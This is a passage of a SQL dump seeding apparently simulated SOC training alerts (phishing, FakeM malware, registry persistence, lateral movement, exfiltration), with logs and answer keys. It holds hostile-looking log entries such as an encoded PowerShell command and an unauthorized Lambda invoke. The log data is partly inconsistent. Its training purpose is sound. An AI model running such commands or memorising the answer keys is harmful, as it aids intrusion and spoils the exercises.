Directory\",\"verdict\":\"internal\",\"details\":\"User account associated with data transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"files_transferred\\\":[{\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},{\\\"filename\\\":\\\"financial_data.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}],\\\"user\\\":\\\"jdoe\\\",\\\"encryption\\\":\\\"TLSv1.2\\\",\\\"status\\\":\\\"Success\\\",\\\"alert\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"files_transferred\\\":[{\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},{\\\"filename\\\":\\\"financial_data.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}],\\\"user\\\":\\\"jdoe\\\",\\\"encryption\\\":\\\"TLSv1.2\\\",\\\"status\\\":\\\"Success\\\",\\\"alert\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"files_transferred\\\":[{\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},{\\\"filename\\\":\\\"financial_data.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}],\\\"user\\\":\\\"jdoe\\\",\\\"encryption\\\":\\\"TLSv1.2\\\",\\\"status\\\":\\\"Success\\\",\\\"alert\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"files_transferred\\\":[{\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},{\\\"filename\\\":\\\"financial_data.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}],\\\"user\\\":\\\"jdoe\\\",\\\"encryption\\\":\\\"TLSv1.2\\\",\\\"status\\\":\\\"Success\\\",\\\"alert\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"files_transferred\\\":[{\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},{\\\"filename\\\":\\\"financial_data.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}],\\\"user\\\":\\\"jdoe\\\",\\\"encryption\\\":\\\"TLSv1.2\\\",\\\"status\\\":\\\"Success\\\",\\\"alert\\\":\\\"Data Exfiltration Detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1280, 'Initial Access: Phishing Email Detected', 'high', 'Email gateway logs', 'A phishing email was detected attempting to gain initial access by tricking activists into downloading FakeM malware. The email contained a malicious attachment designed to infect the recipient\'s system.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:00Z\",\"email_id\":\"1234567890abcdef\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"sender_email\":\"malicious.actor@evilmail.com\",\"recipient_email\":\"activist@nonprofit.org\",\"subject\":\"Urgent: Please Review the Attached Document\",\"attachment_filename\":\"Important_Info.docx\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malware_family\":\"FakeM\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\"}', '2026-02-24 03:14:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP address associated with multiple campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"malicious.actor@evilmail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Reported phishing sender email.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with FakeM malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Important_Info.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Unusual attachment for email context.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Phishing Email Detected\",\"date\":\"2026-02-24T04:22:04.731Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1281, 'Execution: FakeM Malware Activation', 'high', 'Endpoint detection and response (EDR) logs', 'The FakeM malware was activated on the host machine following the download of a malicious attachment. The malware initiated its payload to infiltrate the system, establishing a foothold.', 'Malware Execution', 'T1204.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:27Z\",\"event_id\":\"987654321\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.5\",\"user\":\"jdoe\",\"file_name\":\"invoice_2023.pdf.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"process_name\":\"FakeM.exe\",\"action\":\"execute\",\"status\":\"success\",\"event_description\":\"The process FakeM.exe was executed by user jdoe on host 192.168.1.5.\",\"os_version\":\"Windows 10\",\"edr_alert_id\":\"edr-123456\"}', '2026-02-24 03:14:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for FakeM malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local host where FakeM malware was executed.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice_2023.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Suspicious file masquerading as a PDF document.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the FakeM malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1282, 'Persistence: Registry Modification Detected', 'medium', 'Registry change monitoring tool', 'To maintain a persistent presence, the malware alters the system registry, ensuring it remains active even after system restarts. A registry modification was detected that suggests a persistence mechanism is being employed.', 'Persistence Mechanism', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.100\",\"user\":\"jdoe\",\"registry_key\":\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"modified_value\":\"MaliciousApp\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\MaliciousApp.exe\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"action\":\"Registry Key Modified\",\"tool\":\"RegMonitor v2.3\"}', '2026-02-24 03:14:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelService\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"ActiveDirectory\",\"verdict\":\"clean\",\"details\":\"Valid user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"MaliciousApp.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"FileAnalysisService\",\"verdict\":\"malicious\",\"details\":\"File involved in persistence mechanism.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"MaliciousApp\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\MaliciousApp.exe\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"Registry Key Modified\\\",\\\"tool\\\":\\\"RegMonitor v2.3\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"MaliciousApp\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\MaliciousApp.exe\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"Registry Key Modified\\\",\\\"tool\\\":\\\"RegMonitor v2.3\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"MaliciousApp\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\MaliciousApp.exe\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"Registry Key Modified\\\",\\\"tool\\\":\\\"RegMonitor v2.3\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"MaliciousApp\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\MaliciousApp.exe\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"Registry Key Modified\\\",\\\"tool\\\":\\\"RegMonitor v2.3\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"MaliciousApp\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\MaliciousApp.exe\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"Registry Key Modified\\\",\\\"tool\\\":\\\"RegMonitor v2.3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1283, 'Lateral Movement: Unauthorized Network Access', 'high', 'Network traffic analysis', 'The network traffic analysis detected unauthorized access attempts from an internal workstation to multiple devices within the activist network. The source IP of the attack is identified as 192.168.1.45, with traffic directed towards 10.0.0.22. The attacker appears to be leveraging credentials for user \'jdoe\' and executing suspicious binaries identified as \'explore.exe\', which is linked to known lateral movement tactics.', 'Network Intrusion', 'T1080: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:23Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.22\",\"user\":\"jdoe\",\"executed_file\":\"explore.exe\",\"file_hash\":\"3b3f2e8f7c1d2f3f4a5b6c7d8e9f0a1b\",\"network_protocol\":\"SMB\",\"action\":\"access_attempt\",\"outcome\":\"success\",\"description\":\"Suspicious lateral movement attempt detected from compromised workstation.\"}', '2026-02-24 03:14:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP of a compromised workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"internal\",\"details\":\"Target internal device.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_db\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"explore.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Known tool used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3b3f2e8f7c1d2f3f4a5b6c7d8e9f0a1b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a malicious file used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1284, 'Exfiltration: Data Transfer to External Server', 'high', 'Firewall and SIEM alerts', 'The final stage of the operation involves the exfiltration of critical information, stealthily transferring data to external servers under the attackers\' control. An observed data transfer was detected from an internal host to a suspicious external IP address.', 'Data Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:48:05Z\",\"source_ip\":\"10.25.34.5\",\"destination_ip\":\"203.0.113.45\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"TCP\",\"action\":\"ALLOW\",\"file_name\":\"exported_data_20231012.zip\",\"file_hash\":\"a6f5d3f1c76e5b9b0d2f3e5c4d8a9b2c\",\"username\":\"jdoe\",\"event_id\":\"FW123456\",\"alert\":\"Data exfiltration detected from 10.25.34.5 to 203.0.113.45\"}', '2026-02-24 03:14:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.25.34.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"exported_data_20231012.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual data export activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a6f5d3f1c76e5b9b0d2f3e5c4d8a9b2c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"No known malware but unusual hash activity\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);


INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1309, 'Unauthorized Access to Serverless Function Detected', 'high', 'AWS GuardDuty', 'An unauthorized user attempted to execute a sensitive serverless function, indicating a potential attempt to gain elevated privileges.', 'Execution', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-24T05:50:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"192.168.4.10\",\"username\":\"unauthorized_user\",\"hostname\":\"serverless-function-01\",\"request_body\":null,\"command_line\":\"aws lambda invoke --function-name sensitiveFunction\"}', '2026-02-24 03:24:16', '2026-02-27 06:51:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name sensitiveFunction\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used to invoke sensitive serverless functions without authorization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The use of an unauthorized account to access a sensitive function suggests a potential privilege escalation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name 